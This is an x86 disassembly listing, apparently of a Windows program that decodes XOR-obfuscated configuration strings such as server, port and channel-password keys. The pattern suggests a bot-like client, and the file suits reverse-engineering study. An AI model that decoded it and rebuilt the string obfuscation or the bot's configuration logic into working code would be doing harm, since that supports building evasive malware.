push offset dword_4437F8
lea ecx, [esp+360h+var_1EC]
call sub_401A87
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea ecx, [esp+384h+var_348]
push 46h
push ecx
call sub_4019B5
add esp, 30h
push eax
lea ecx, [esp+360h+var_144]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 0Dh
push 0Fh
push 3
push 4Fh
push 14h
push 6
push 0Fh
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 18h
push 9
push 6
push 14h
push 0Fh
lea edx, [esp+3B0h+var_348]
push 8
push edx
call sub_4019B5
add esp, 5Ch
push eax
lea ecx, [esp+360h+var_CC]
mov byte ptr [esp+360h+var_4], 20h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 21h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea ecx, [esp+36Ch+var_348]
push 45h
push ecx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_24C]
mov byte ptr [esp+360h+var_4], 22h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea edx, [esp+368h+var_348]
push 46h
push edx
call sub_4019B5
add esp, 14h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 23h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea ecx, [esp+36Ch+var_348]
push 14h
push ecx
call sub_4019B5
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 25h
call sub_40200E
mov byte ptr [esp+35Ch+var_4], bl
lea ecx, [esp+35Ch+var_348]
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea edx, [esp+370h+var_348]
push 6
push edx
call sub_4019B5
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 26h
call sub_40200E
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2AC]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+3D0h+var_348]
push 13h
push eax
mov byte ptr [esp+3D8h+var_4], 27h
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 28h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401861
lea ecx, [esi+0FECh]
mov byte ptr [esp+38Ch+var_4], 29h
push ecx
mov ecx, esi
call sub_401CC1
sub_407790 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+98h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 2Ah
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Bh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+1035h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 2Ch
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+78h]
push 13h
push ecx
mov byte ptr [esp+3C4h], 2Dh
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Eh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+0FA3h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Fh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+80h]
push 13h
push eax
mov byte ptr [esp+3CCh], 30h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 31h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+0F5Ah]
mov byte ptr [esp+388h], 32h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+68h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
mov byte ptr [esp+370h], 33h
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+90h]
push 13h
push edx
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 34h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 35h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1A0h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
mov byte ptr [esp+3CCh], 36h
push 13h
lea eax, [esp+8Ch]
push eax
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 37h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+0F11h]
mov byte ptr [esp+388h], 38h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+84h]
push 13h
push edx
mov byte ptr [esp+3D0h], 39h
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Ah
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+107Eh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 3Bh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+10h]
mov [esp+10h], edi
push ecx
mov ecx, offset byte_4D637F
call sub_401A5F
lea ecx, [esp+0B0h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 3Ch
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 3Dh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+1234h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 3Eh
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+98h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
mov byte ptr [esp+3B4h], 3Fh
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 40h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+127Dh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 41h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+188h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 42h
call sub_4019B5
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 43h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea ecx, [esi+11EBh]
mov byte ptr [esp+388h], 44h
push ecx
mov ecx, esi
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
mov byte ptr [esp+3CCh], 45h
call sub_4019B5
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 46h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+11A2h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 47h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+68h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
mov byte ptr [esp+3C0h], 48h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
call sub_4019B5
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 49h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Ah
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 4Bh
call sub_4019B5
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Ch
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea eax, [esi+1159h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 4Dh
call sub_401CC1
; ---------------------------------------------------------------------------
mov [esp+358h], bl
lea ecx, [esp+14h]
call sub_401226
lea ecx, [esp+44h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
mov byte ptr [esp+3D0h], 4Eh
call sub_4019B5
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 4Fh
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401861
lea edx, [esi+12C6h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 50h
call sub_401CC1
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D637F
push eax
mov [esp+14h], edi
call sub_401A5F
push offset byte_446F60
push offset word_4E6E8A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_401424
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401424
push 56D2h
push 539h
mov byte ptr [esp+360h], 52h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
lea ecx, [esp+230h]
push eax
push offset dword_4437F4
push ecx
call sub_40102D
push 56D2h
push 539h
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 14h
lea edx, [esp+260h]
push eax
push offset dword_4437F4
push edx
call sub_40102D
sub esp, 0Ch
lea eax, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_4014C9
lea ecx, [esi+606h]
push ecx
mov ecx, esi
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
lea edx, [esp+44h]
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+278h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+230h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1E8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
lea edx, [esp+2C0h]
push edx
call sub_4014C9
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+290h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E6E8A
call sub_4014C9
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+170h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+140h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+188h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014C9
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B2C
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
call sub_4017E4
push eax
push offset byte_44741D
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 1B6h
call sub_4017E4
push eax
push offset dword_4473D4
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
call sub_4017E4
push eax
push offset dword_4472B0
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 124h
call sub_4017E4
push eax
push offset word_447342
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 0DBh
call sub_4017E4
push eax
push offset byte_4472F9
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 92h
call sub_4017E4
push eax
push offset byte_44738B
mov ecx, offset word_448D06
call sub_401596
push 0
mov ecx, offset byte_4D637F
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
call sub_4017E4
push eax
push offset byte_4474AF
mov ecx, offset word_448D06
call sub_401596
lea ecx, [esp+248h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401861
lea ecx, [esp+218h]
mov byte ptr [esp+370h], 53h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+8Ch], esp
push eax
call sub_401861
lea ecx, [esp+110h]
mov byte ptr [esp+388h], 54h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0A8h], esp
push eax
call sub_401861
lea ecx, [esp+140h]
mov byte ptr [esp+3A0h], 55h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+0C4h], esp
push eax
call sub_401861
mov ecx, offset word_448C8E
mov byte ptr [esp+3B8h], 52h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 51h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
lea ecx, [esp+2Ch]
mov byte ptr [esp+358h], 1Ch
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+98h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 2
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 1
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+1E8h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 5C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409450 proc near ; CODE XREF: sub_40146Aj
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401974
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409468
mov ecx, esi
call sub_40190B
; ---------------------------------------------------------------------------
loc_409468: ; CODE XREF: sub_409450+Fj
mov ecx, esi
call sub_401A37
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409450 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409490 proc near ; CODE XREF: sub_401A5Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_40168B
pop esi
retn 4
sub_409490 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094C0 proc near ; CODE XREF: sub_401A37j
mov eax, [ecx+4]
retn
sub_4094C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4094E0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4094E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409500 proc near ; CODE XREF: sub_401974j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40950A
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40950A: ; CODE XREF: sub_409500+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_409500 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_40168Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A37
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401B9A
mov ecx, edi
call sub_401A37
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_409530 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409580 proc near ; CODE XREF: sub_40190Bj
var_40 = byte ptr -40h
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409580
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
call near ptr 76081F67h
nop
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
nop
call near ptr 760A0430h
lea edx, [esp+48h+var_34]
push offset dword_43F080
push edx
call sub_436832
sub_409580 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409600 proc near ; CODE XREF: sub_401B9Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_4096CB
mov ecx, esi
call sub_401974
cmp edi, eax
jnb short loc_409633
mov ecx, esi
call sub_401974
mov ebp, eax
jmp short loc_409635
; ---------------------------------------------------------------------------
loc_409633: ; CODE XREF: sub_409600+26j
mov ebp, edi
loc_409635: ; CODE XREF: sub_409600+31j
mov ecx, esi
call sub_401974
mov ebx, eax
push 0
